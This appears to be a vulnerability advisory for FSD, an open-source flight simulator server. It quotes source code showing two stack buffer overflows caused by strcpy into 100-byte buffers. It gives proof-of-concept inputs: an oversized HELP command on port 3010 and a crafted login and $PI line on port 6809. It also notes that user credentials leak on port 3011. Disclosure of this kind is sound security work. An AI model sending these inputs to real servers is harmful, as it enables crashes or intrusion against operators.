===============
1) Introduction
===============


FSD is an (the only?) open source Flight Simulator server.
An interesting story about it is available here:

------------------------------
A] buffer-overflow in exechelp
------------------------------

A buffer-overflow vulnerability caused by the usage of strcpy() on a
stack's buffer of 100 bytes is exploitable through the HELP command on
port 3010.

from sysuser.cpp:

void sysuser::exechelp(char **array, int count)
{
   int copymode=0, topicmode=0, globalmode=0;
   char topic[100],line[100];
   char *s=(count>0)?array[0]:(char *)NULL;
   if (s) strcpy(topic,s); else
   ...


-----------------------------------
B] buffer-overflow in execmulticast
-----------------------------------

Another stack buffer-overflow with another buffer of 100 bytes is
exploitable through the sending of various commands to port 6809 which
calls the sendmulticast function.

from servinterface.cpp:

int servinterface::sendmulticast(client *source, char *dest, char *s,
   int cmd, int multiok, absuser *ex)
{
   client *destination=NULL;
   char data[1000], servdest[100];
   ...
   switch (dest[0])
   {
      case '@': case '*':
         if (!multiok) return 0;
         strcpy(servdest, dest);
         break;
      default:
         sprintf(servdest,"%%%s",dest);
         ...

===========
3) The Code
===========


A]
connect with nc or telnet to port 3010 (sometimes it can be 3011, but
it's easy to recognize since it shows a "FSD>" prompt) and then send:

HELP aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...(more_than_100_'a's)...aaaa

B]
connect with nc or telnet to port 6809, now you must log in or create a
new user, but seems that all usernames and passwords are available on
port 3011 (or 3012) where they are sent just when you connect:

#AAcallsign::ident:122222:122222:1:9
$PIcallsign:aaaaaaaaaaaaaaaaaaaaaaaaaaaaa...(more_than_100_'a's)...aaaa

(in the above example the first 122222 is the CID and the second one is
the password)

No fix.
